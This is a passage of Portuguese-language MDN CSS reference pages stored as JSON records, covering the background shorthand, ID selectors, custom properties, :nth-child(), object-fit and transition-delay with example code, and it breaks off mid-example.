repeat-y;\n\n/ * Usando uma <box> e <cor-de-fundo> * /\nbackground: border-box red;\n\n/ * Uma única imagem, centrado e escalado * /\nbackground: no-repeat center/80% url( \"../img/image.png\");\n```\n\n\n**Nota:** O `background-color` só pode ser definido no último fundo, como há apenas uma cor de fundo para todo o elemento.\n\n### Valores\n\nUm ou mais dos seguintes, por qualquer ordem:\n\n`<anexo>`\n\nVeja `background-attachment`\n\n`<box>`\n\nVeja `background-clip`\n\n`<cor-de-fundo>`\n\nVeja `background-color`\n\n`<imagem-de-fundo>`\n\nVeja `background-image` (en-US)\n\n`<posição>`\n\nVeja `background-position` (en-US)\n\n`<estilo-de-repetição>`\n\nVeja `background-repeat` (en-US)\n\n`<tamanho-do-fundo>`\n\nVeja `background-size`. Esta propriedade deve ser especificado após **<posição>** , separados com o caractere '/'.\n\n### Sintaxe formal\n```\n\n\n```\nbackground =   \n  <bg-layer># (en-US)? (en-US) , <final-bg-layer>    \n  \n<bg-layer> =   \n  <bg-image>                      || (en-US)  \n  <bg-position> [ (en-US) / <bg-size> ] (en-US)? (en-US)  || (en-US)  \n  <repeat-style>                  || (en-US)  \n  <attachment>                    || (en-US)  \n  <visual-box>                    || (en-US)  \n  <visual-box>                      \n  \n<final-bg-layer> =   \n  <bg-image>                      || (en-US)  \n  <bg-position> [ (en-US) / <bg-size> ] (en-US)? (en-US)  || (en-US)  \n  <repeat-style>                  || (en-US)  \n  <attachment>                    || (en-US)  \n  <visual-box>                    || (en-US)  \n  <visual-box>                    || (en-US)  \n  <'background-color'>              \n  \n<bg-image> =   \n  <image>  | (en-US)  \n  none       \n  \n<bg-position> =   \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) top | (en-US) bottom | (en-US) <length-percentage> ] (en-US)  | (en-US)  \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) <length-percentage> ] (en-US) [ (en-US) top | (en-US) center | (en-US) bottom | (en-US) <length-percentage> ] (en-US)  | (en-US)  \n  [ (en-US) center | (en-US) [ (en-US) left | (en-US) right ] (en-US) <length-percentage>? (en-US) ] (en-US) && (en-US) [ (en-US) center | (en-US) [ (en-US) top | (en-US) bottom ] (en-US) <length-percentage>? (en-US) ] (en-US)    \n  \n<bg-size> =   \n  [ (en-US) <length-percentage [0,∞]> | (en-US) auto ] (en-US){1,2} (en-US)  | (en-US)  \n  cover                                      | (en-US)  \n  contain                                      \n  \n<repeat-style> =   \n  repeat-x                                     | (en-US)  \n  repeat-y                                     | (en-US)  \n  [ (en-US) repeat | (en-US) space | (en-US) round | (en-US) no-repeat ] (en-US){1,2} (en-US)    \n  \n<attachment> =   \n  scroll  | (en-US)  \n  fixed   | (en-US)  \n  local     \n  \n<visual-box> =   \n  content-box  | (en-US)  \n  padding-box  | (en-US)  \n  border-box     \n  \n<image> =   \n  <url>       | (en-US)  \n  <gradient> (en-US)    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n```\n\n\n```\nExemplos\n--------\n\n### HTML\n\n\n```html\n<p class=\"Topbanner\">\n  céu estrelado<br />\n  Cintilando Cintilando<br />\n  Céu estrelado\n</p>\n<p class=\"atencao\">Este é um parágrafo</p>\n<p></p>\n```\n\n### CSS\n\n\n```css\n.atencao {\n  background: red;\n}\n\n.Topbanner {\n  background: url(\"starsolid.gif\") #00d repeat-y fixed;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # the-background |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `- moz-fundo-inline-política`\n* Usando gradientes (en-US)\n* Vários fundos"}
{"title":"Seletores de ID - CSS","text":"Seletores de ID\n===============\n\nEm um documento HTML, os seletores de ID do CSS selecionam um elemento baseado no conteúdo de seu atributo `ID`, o qual deve ser exatamente igual ao valor dado ao seletor.\n\nSintaxe\n-------\n```\n\n#valor_id { propriedades de estilo }\n```\n\n\nNote que isso é equivalente aos seguintes `seletores de atributo`:\n```\n\n[id=valor_id] { propriedades de estilo }\n```\n\nExemplo\n-------\n\n\n```css\nspan#identificado {\n  background-color: DodgerBlue;\n}\n```\n\n\n\n```html\n<span id=\"identificado\">Aqui um span com um pouco de texto.</span>\n<span>Aqui outro.</span>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # id-selectors |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Utilizando propriedades CSS personalizadas (variáveis) - CSS","text":"Utilizando propriedades CSS personalizadas (variáveis)\n======================================================\n\n**Propriedades personalizadas** (às vezes chamadas de **variáveis CSS** ou **variáveis em cascata**) são entidades definidas por autores CSS que contêm valores específicos a serem reutilizados em um documento. Eles são definidos usando a notação de propriedade personalizada (por exemplo, **`--main-color: black;`**) e são acessados usando a função `var()` (por exemplo, `cor: var(--main-color);`).\n\nSites complexos têm quantidades muito grandes de CSS, geralmente com muitos valores repetidos. Por exemplo, a mesma cor pode ser usada em centenas de lugares diferentes, exigindo pesquisa global e substituição se essa cor precisar ser alterada. As propriedades personalizadas permitem que um valor seja armazenado em um local e, em seguida, referenciado em vários outros locais. Um benefício adicional são os identificadores semânticos. Por exemplo, `--main-text-color` é mais fácil de entender do que `#00ff00`, especialmente se esta mesma cor também for usada em outros contextos.\n\nAs propriedades personalizadas estão sujeitas à cascata e herdam seu valor de seu pai.\n\nUso básico\n----------\n\nA declaração de uma propriedade personalizada é feita usando um nome de propriedade personalizada que começa com um hífen duplo (`--`) e um valor de propriedade que pode ser qualquer valor CSS válido. Como qualquer outra propriedade, isso é escrito dentro de um conjunto de regras, assim:\n\n\n```css\nelement {\n  --main-bg-color: brown;\n}\n```\n\n\nObserve que o seletor fornecido ao conjunto de regras define o escopo no qual a propriedade personalizada pode ser usada. Uma prática recomendada comum é definir propriedades personalizadas na pseudoclasse `:root`, para que ela possa ser aplicado globalmente em seu documento HTML:\n\n\n```css\n:root {\n  --main-bg-color: brown;\n}\n```\n\n\nNo entanto, isso nem sempre precisa ser o caso: talvez você tenha um bom motivo para limitar o escopo de suas propriedades personalizadas.\n\n**Nota:** Os nomes das propriedades personalizadas diferenciam maiúsculas de minúsculas — `--my-color` será tratado como uma propriedade personalizada separada de `--My-color`.\n\nConforme mencionado anteriormente, você usa o valor da propriedade personalizada especificando o nome da propriedade personalizada dentro da função `var()`, no lugar de um valor de propriedade regular:\n\n\n```css\nelement {\n  background-color: var(--main-bg-color);\n}\n```\n\nPrimeiros passos com propriedades personalizadas\n------------------------------------------------\n\nVamos começar com este CSS que aplica a mesma cor a elementos de classes diferentes:\n\n\n```css\n.one {\n  color: white;\n  background-color: brown;\n  margin: 10px;\n  width: 50px;\n  height: 50px;\n  display: inline-block;\n}\n\n.two {\n  color: white;\n  background-color: black;\n  margin: 10px;\n  width: 150px;\n  height: 70px;\n  display: inline-block;\n}\n.three {\n  color: white;\n  background-color: brown;\n  margin: 10px;\n  width: 75px;\n}\n.four {\n  color: white;\n  background-color: brown;\n  margin: 10px;\n  width: 100px;\n}\n\n.five {\n  background-color: brown;\n}\n```\n\n\nVamos aplicá-lo a este HTML:\n\n\n```html\n<div>\n  <div class=\"one\">1:</div>\n  <div class=\"two\">2: Texto <span class=\"five\">5 - mais texto</span></div>\n  <input class=\"three\" />\n  <textarea class=\"four\">4: Lorem Ipsum</textarea>\n</div>\n```\n\n\nIsso produz o seguinte resultado:\n\nUsando a pseudo-classe :root\n----------------------------\n\nObserve o CSS repetitivo no exemplo acima. A cor de fundo é definida como 'marrom' em vários lugares. Para algumas declarações CSS, é possível declarar isso mais alto na cascata e deixar que a herança CSS resolva esse problema naturalmente. Para projetos não triviais, isso nem sempre é possível. Ao declarar uma propriedade personalizada na pseudoclasse `:root` e usá-la quando necessário em todo o documento, um autor de CSS pode reduzir a necessidade de repetição:\n\n\n```css\n:root {\n  --main-bg-color: brown;\n}\n\n.one {\n  color: white;\n  background-color: var(--main-bg-color);\n  margin: 10px;\n  width: 50px;\n  height: 50px;\n  display: inline-block;\n}\n\n.two {\n  color: white;\n  background-color: black;\n  margin: 10px;\n  width: 150px;\n  height: 70px;\n  display: inline-block;\n}\n.three {\n  color: white;\n  background-color: var(--main-bg-color);\n  margin: 10px;\n  width: 75px;\n}\n.four {\n  color: white;\n  background-color: var(--main-bg-color);\n  margin: 10px;\n  width: 100px;\n}\n\n.five {\n  background-color: var(--main-bg-color);\n}\n```\n\n\n```\n<div>\n  <div class=\"one\"></div>\n  <div class=\"two\">Texto <span class=\"five\">- mais texto</span></div>\n  <input class=\"three\" />\n  <textarea class=\"four\">Lorem Ipsum</textarea>\n</div>\n```\n\n\nIsso leva ao mesmo resultado do exemplo anterior, mas permite uma declaração canônica do valor da propriedade desejada; muito útil se você quiser alterar o valor em toda a página posteriormente.\n\nHerança de propriedades personalizadas\n--------------------------------------\n\nAs propriedades personalizadas são herdadas. Isso significa que, se nenhum valor for definido para uma propriedade personalizada em um determinado elemento, o valor de seu pai será usado. Pegue este HTML:\n\n\n```html\n<div class=\"one\">\n  <div class=\"two\">\n    <div class=\"three\"></div>\n    <div class=\"four\"></div>\n  </div>\n</div>\n```\n\n\n… com o seguinte CSS:\n\n\n```css\n.two {\n  --test: 10px;\n}\n\n.three {\n  --test: 2em;\n}\n```\n\n\nNeste caso, os resultados de `var(--test)` são:\n\n* Para o elemento `class=\"two\"`: `10px`\n* Para o elemento `class=\"three\"`: `2em`\n* Para o elemento `class=\"four\"`: `10px` (herdado de seu pai)\n* Para o elemento `class=\"one\"`: *invalid value*, que é o valor padrão de qualquer propriedade personalizada\n\nLembre-se de que essas são propriedades personalizadas, não variáveis reais, como você pode encontrar em outras linguagens de programação. O valor é calculado onde é necessário, não armazenado para uso em outras regras. Por exemplo, você não pode definir uma propriedade para um elemento e esperar recuperá-la na regra do descendente de um irmão. A propriedade é definida apenas para o seletor correspondente e seus descendentes, como qualquer CSS normal.\n\nValores alternativos de propriedade personalizada\n-------------------------------------------------\n\nUsando a função `var()`, você pode definir vários **valores alternativos** quando a variável dada ainda não está definida; isso pode ser útil ao trabalhar com Elementos personalizados e Shadow DOM (en-US).\n\n**Nota:** os valores alternativos não são usados para corrigir a compatibilidade do navegador. Se o navegador não oferecer suporte a propriedades personalizadas de CSS, o valor de fallback não ajudará. É apenas um backup para o navegador que suporta propriedades personalizadas CSS para escolher um valor diferente se a variável fornecida não estiver definida ou tiver um valor inválido.\n\nO primeiro argumento para a função é o nome da propriedade personalizada a ser substituída. O segundo argumento para a função, se fornecido, é um valor de fallback, que é usado como valor de substituição quando a propriedade personalizada referenciada é inválido. A função aceita apenas dois parâmetros, atribuindo tudo o que segue a primeira vírgula como segundo parâmetro. Se esse segundo parâmetro for inválido, o fallback falhará. Por exemplo:\n\n\n```css\n.two {\n  /\\* Vermelho se --my-var não estiver definido \\*/\n  color: var(--my-var, red);\n}\n\n.three {\n  /\\* rosa se --my-var e --my-background não estiverem definidos \\*/\n  background-color: var(--my-var, var(--my-background, pink));\n}\n\n.three {\n  /\\* Inválido: \"--meu-fundo, rosa\" \\*/\n  background-color: var(--my-var, --my-background, pink);\n}\n```\n\n\nIncluir uma propriedade personalizada como fallback, conforme visto no segundo exemplo acima, é a maneira correta de fornecer mais de um fallback. A técnica pode causar problemas de desempenho, pois leva mais tempo para analisar as variáveis.\n\n**Nota:** A sintaxe do fallback, como a de propriedades personalizadas, permite vírgulas. Por exemplo, `var(--foo, red, blue)` define um fallback de `red, blue` — qualquer coisa entre a primeira vírgula e o final da função é considerado um valor fallback.\n\nTratamento de propriedades personalizadas inválidas\n---------------------------------------------------\n\nCada propriedade CSS pode receber um conjunto definido de valores. Se você tentar atribuir um valor a uma propriedade que está fora de seu conjunto de valores válidos, ela será considerada *inválida*.\n\nQuando o navegador encontra um valor inválido para uma propriedade normal, ele descarta o valor e os elementos recebem os valores que teriam se a declaração simplesmente não existisse.\n\nNo entanto, quando os valores das propriedades personalizadas são analisados, o navegador ainda não sabe onde eles serão usados, portanto, deve considerar quase todos os valores como *válidos*.\n\nInfelizmente, esses valores válidos podem ser usados, através da notação funcional `var()`, em um contexto onde eles podem não fazer sentido. Propriedades e variáveis personalizadas podem levar a declarações CSS inválidas, levando ao novo conceito de *válido no tempo computado.*\n\nQuando o navegador encontra uma substituição `var()` inválida, então o inicial ou herdado valor da propriedade é usado.\n\nOs próximos dois exemplos ilustram isso.\n\n### Propriedades normais inválidas\n\nNeste exemplo, tentamos aplicar um valor de `16px` à propriedade `color`. Como isso é inválido, o CSS é descartado e o resultado é como se a regra não existisse, então a regra `color: blue` anterior é aplicada em seu lugar e o parágrafo é azul.\n\n#### HTML\n\n\n```html\n<p>Este parágrafo é inicialmente preto.</p>\n```\n\n\n#### CSS\n\n\n```css\np {\n  color: blue;\n}\n\np {\n  color: 16px;\n}\n```\n\n\n#### Resultado\n\n### Propriedades personalizadas inválidas\n\nEste exemplo é exatamente como o último, exceto que usamos uma propriedade personalizada.\n\nComo esperado, o navegador substitui o valor de `--text-color` no lugar de `var(--text-color)`, mas `16px` não é um valor de propriedade válido para `color`. Após a substituição, a propriedade não faz mais sentido. O navegador lida com essa situação em duas etapas:\n\n1. Verifique se a propriedade `color` é herdável. É, mas este `<p>` não tem nenhum pai com a propriedade `color` definida. Então passamos para a próxima etapa.\n2. Defina o valor para seu **valor inicial padrão**, que é preto.\n\n#### HTML\n\n\n```html\n<p>Este parágrafo é inicialmente preto.</p>\n```\n\n\n#### CSS\n\n\n```css\n:root {\n  --text-color: 16px;\n}\n\np {\n  color: blue;\n}\n\np {\n  color: var(--text-color);\n}\n```\n\n\n#### Resultado\n\nValores em JavaScript\n---------------------\n\nPara usar os valores das propriedades personalizadas em JavaScript, é como as propriedades padrão.\n\n\n```js\n// obtém a variável do estilo inline\nelement.style.getPropertyValue(\"--my-var\");\n\n// obtém variável de qualquer lugar\ngetComputedStyle(element).getPropertyValue(\"--my-var\");\n\n// define a variável no estilo inline\nelement.style.setProperty(\"--my-var\", jsVar + 4);\n```\n\nVeja também\n-----------\n\n* Sintaxe de propriedade personalizada\n* `var()`"}
{"title":":nth-child() - CSS","text":":nth-child()\n============\n\nA pseudo-classe CSS `:nth-child()` seleciona elementos com base em suas posições em um grupo de elementos irmãos.\n\n\n```css\n/\\* Seleciona um a cada quatro elementos\n de qualquer grupo de elementos irmãos,\n começando do quarto elemento (4, 8 12, etc.). \\*/\n:nth-child(4n) {\n  color: lime;\n}\n```\n\nSintaxe\n-------\n\nA pseudo-classe **`nth-child`** é usada com apenas um argumento, que representa o padrão usado para selecionar os elementos.\n\n### Valores\n\n`odd`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos seja ímpar: 1, 3, 5, etc.\n\n`even`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos seja par: 2, 4, 6, etc.\n\n### Notação funcional\n\n`<An+B>`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos corresponda ao padrão `An+B`, o qual será aplicado a todo número maior ou igual a zero (ou seja, começando do zero). O índice do primeiro elemento é `1`. Ambos os valores `A` e `B` devem ser `<integer>` (en-US) (inteiros).\n\n### Sintaxe formal\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Exemplos de seletores\n\n`tr:nth-child(odd)` or `tr:nth-child(2n+1)`\n\nRepresenta as linhas ímpares de uma tabela HTML: 1, 3, 5, etc.\n\n`tr:nth-child(even)` or `tr:nth-child(2n)`\n\nRepresenta as linhas pares de uma tabela HTML: 2, 4, 6, etc.\n\n`:nth-child(7)`\n\nRepresenta o sétimo elemento.\n\n`:nth-child(5n)`\n\nRepresenta os elementos de número **5** [=5×1], **10** [=5×2], **15** [=5×3], **etc.**\n\n`:nth-child(3n+4)`\n\nRepresenta os elementos de número **4** [=(3×0)+4], **7** [=(3×1)+4], **10** [=(3×2)+4], **13** [=(3×3)+4], **etc.**\n\n`:nth-child(-n+3)`\n\nRepresenta os primeiros três elementos. [=-0+3, -1+3, -2+3]\n\n`p:nth-child(n)`\n\nRepresenta todos os elementos `<p>` em um grupo de irmãos. Isso seleciona os mesmos elementos que um simples seletor `p` faria (só que com um nível maior de especificidade).\n\n`p:nth-child(1)` or `p:nth-child(0n+1)`\n\nRepresenta todo `<p>` que seja o primeiro de seu grupo de irmãos. Ele é idêntico ao seletor `:first-child` (e tem o mesmo nível de especificidade).\n\n`p:nth-child(n+8):nth-child(-n+15)`\n\nRepresenta do 8º até o 15º elementos `<p>` de um grupo de irmãos.\n\n### Exemplo detalhado\n\n#### HTML\n\n\n```html\n<h3>\n  <code>span:nth-child(2n+1)</code>, SEM um <code>&lt;em&gt;</code> entre os\n  elementos filhos.\n</h3>\n<p>Os filhos 1, 3, 5 e 7 são selecionados.</p>\n<div class=\"primeiro\">\n  <span>Span 1!</span>\n  <span>Span 2</span>\n  <span>Span 3!</span>\n  <span>Span 4</span>\n  <span>Span 5!</span>\n  <span>Span 6</span>\n  <span>Span 7!</span>\n</div>\n\n<br />\n\n<h3>\n  <code>span:nth-child(2n+1)</code>, COM um <code>&lt;em&gt;</code> entre os\n  elementos filhos.\n</h3>\n<p>\n  Os filhos 1, 5 e 7 são selecionados.<br />\n  O 3 está incluído na contagem por ser um filho, mas não é selecionado porque\n  ele não é um <code>&lt;span&gt;</code>.\n</p>\n<div class=\"segundo\">\n  <span>Span!</span>\n  <span>Span</span>\n  <em>Este é um `em`.</em>\n  <span>Span</span>\n  <span>Span!</span>\n  <span>Span</span>\n  <span>Span!</span>\n  <span>Span</span>\n</div>\n\n<br />\n\n<h3>\n  <code>span:nth-of-type(2n+1)</code>, COM um <code>&lt;em&gt;</code> entre os\n  elementos filhos.\n</h3>\n<p>\n  Os filhos 1, 4, 6 e 8 são selecionados.<br />\n  O 3 não está incluso na contagem nem é selecionado porque ele é um\n  <code>&lt;em&gt;</code>, não um <code>&lt;span&gt;</code>, e\n  <code>nth-of-type</code> seleciona apenas os filhos desse último tipo. O\n  <code>&lt;em&gt;</code> é completamente pulado e ignorado.\n</p>\n<div class=\"terceiro\">\n  <span>Span!</span>\n  <span>Span</span>\n  <em>Este é um `em`.</em>\n  <span>Span!</span>\n  <span>Span</span>\n  <span>Span!</span>\n  <span>Span</span>\n  <span>Span!</span>\n</div>\n```\n\n\n#### CSS\n\n\n```css\nhtml {\n  font-family: sans-serif;\n}\n\nspan,\ndiv em {\n  padding: 5px;\n  border: 1px solid green;\n  display: inline-block;\n  margin-bottom: 3px;\n}\n\n.primeiro span:nth-child(2n + 1),\n.segundo span:nth-child(2n + 1),\n.terceiro span:nth-of-type(2n + 1) {\n  background-color: lime;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # nth-child-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:nth-of-type`, `:nth-last-child`"}
{"title":"object-fit - CSS","text":"object-fit\n==========\n\nResumo\n------\n\nA propriedade CSS `object-fit` especifica como o conteúdo de um elemento substituído deve ser ajustado à caixa estabelecida pela altura e largura usadas.\n\n|  |  |\n| --- | --- |\n| Initial value | `fill` |\n| Aplica-se a | replaced elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n```\n\nobject-fit =   \n  fill        | (en-US)  \n  contain     | (en-US)  \n  cover       | (en-US)  \n  none        | (en-US)  \n  scale-down    \n  \n```\n\n\n```\nobject-fit: fill\nobject-fit: contain\nobject-fit: cover\nobject-fit: none\nobject-fit: scale-down\n```\n\n### Valores\n\n`fill`\n\nO conteúdo substituído é dimensionado para preencher a caixa de conteúdo do elemento: o tamanho concreto do objeto é a largura e a altura usadas do elemento.\n\n`contain`\n\nO conteúdo substituído é dimensionado para manter sua proporção enquanto se encaixa na caixa de conteúdo do elemento: seu tamanho de objeto concreto é resolvido como uma restrição de restrição em relação à largura e altura usadas do elemento.\n\n`cover`\n\nO conteúdo substituído é dimensionado para manter sua proporção e preencher toda a caixa de conteúdo do elemento: seu tamanho de objeto concreto é resolvido como uma restrição de capa contra a largura e a altura usadas do elemento.\n\n`none`\n\nO conteúdo substituído não é redimensionado para caber dentro da caixa de conteúdo do elemento: o tamanho do objeto concreto do objeto é determinado usando o algoritmo de tamanho padrão sem tamanho especificado e um tamanho de objeto padrão igual à largura e altura usadas do elemento substituído.\n\n`scale-down`\n\nO conteúdo é dimensionado se `none` ou `contain` for especificado, o que resultaria em um tamanho menor de objeto concreto.\n\nExemplos\n--------\n\n### HTML Content\n\n\n```html\n<div>\n  <h2>object-fit: fill</h2>\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"fill\" />\n\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"fill narrow\" />\n\n  <h2>object-fit: contain</h2>\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"contain\" />\n\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"contain narrow\" />\n\n  <h2>object-fit: cover</h2>\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"cover\" />\n\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"cover narrow\" />\n\n  <h2>object-fit: none</h2>\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"none\" />\n\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"none narrow\" />\n\n  <h2>object-fit: scale-down</h2>\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"scale-down\" />\n\n  <img src=\"mdn\\_logo\\_only\\_color.png\" alt=\"MDN Logo\" class=\"scale-down narrow\" />\n</div>\n```\n\n### CSS Content\n\n\n```css\nh2 {\n  font-family:\n    Courier New,\n    monospace;\n  font-size: 1em;\n  margin: 1em 0 0.3em;\n}\n\ndiv {\n  display: flex;\n  flex-direction: column;\n  flex-wrap: wrap;\n  align-items: flex-start;\n  height: 940px;\n}\n\nimg {\n  width: 150px;\n  height: 100px;\n  border: 1px solid #000;\n}\n\n.narrow {\n  width: 100px;\n  height: 150px;\n  margin-top: 10px;\n}\n\n.fill {\n  object-fit: fill;\n}\n\n.contain {\n  object-fit: contain;\n}\n\n.cover {\n  object-fit: cover;\n}\n\n.none {\n  object-fit: none;\n}\n\n.scale-down {\n  object-fit: scale-down;\n}\n```\n\n### Output\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Images Module Level 3 # the-object-fit |\n\nBrowser compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Other image-related CSS properties: `object-position` (en-US), `image-orientation` (en-US), `image-rendering` (en-US), `image-resolution` (en-US).\n* An object-fit polyfill for browsers not supporting it."}
{"title":"transition-delay - CSS","text":"transition-delay\n================\n\nA propriedade CSS **`transition-delay`** (atraso de transição) determina o tempo de duração da espera antes de iniciar um efeito de transição(transition effect) quando seu valor muda.\n\nExperimente\n-----------\n\nEssa espera, ou atraso de transição, pode ser zero, positiva ou negativa:\n\n* Um valor de `0s`(ou `0ms`) iniciará o efeito de transição imediatamente.\n* Um valor positivo atrasará o inicio do efeito de transição de acordo com o tempo estabelecido.\n* Um valor negativo iniciará o efeito de transição imediatamente e parcialmente durante o efeito. Em outras palavras, o efeito será animado como se já tivesse sido executado pelo tempo estipulado.\n\nVocê pode especificar vários atrasos, o que é útil quando é necessário realizar a transição de várias propriedades. Cada atraso pode ser aplicado à propriedade correspondente como especificado pela propriedade de transição(`transition-property` (en-US)), que atua como uma lista mestre. Se existem menos atrasos do que o determinado pela lista mestre, a lista de valores de atraso será repetida até que seja suficiente. Se existem mais atrasos, a lista de valores de atraso será trucanda(limitada) ao combinar o número de propriedades. Em ambos os casos, a declaração CSS permacene válida.\n\nSyntax\n------\n\n\n```css\n/\\* Valores de Tempo <time> \\*/\ntransition-delay: 3s;\ntransition-delay: 2s, 4ms;\n\n/\\* Valores Globais \\*/\ntransition-delay: inherit;\ntransition-delay: initial;\ntransition-delay: unset;\n```\n\n### Valores\n\n`<time>`\n\nIndica a quantidade de tempo de espera entre um valor de propriedade e o inicio do efeito de transição(transition effect).\n\n### Sintaxe Formal\n```\n\ntransition-delay =   \n  <time># (en-US)    \n  \n```\n\nExemplos\n--------\n\n`transition-delay: 0.5s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 0.5s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 0.5s;\n  transition-timing-function: linear;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 0.5s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 0.5s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 1s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 1s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 1s;\n  transition-timing-function: linear;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 1s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 1s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 2s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 2s;\n  transition-timing-function: linear;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 2s;\n  -webkit-transition-timing-function: linear;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 2s;\n  transition-timing-function: linear;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\n\n`transition-delay: 4s`\n```\n\n<div class=\"parent\">\n  <div class=\"box\">Lorem</div>\n</div>\n```\n\n\n```\n.parent {\n  width: 250px;\n  height: 125px;\n}\n.box {\n  width: 100px;\n  height: 100px;\n  background-color: red;\n  font-size: 20px;\n  left: 0px;\n  top: 0px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 4s;\n  transition-timing-function: ease-in-out;\n}\n.box1 {\n  width: 50px;\n  height: 50px;\n  background-color: blue;\n  color: 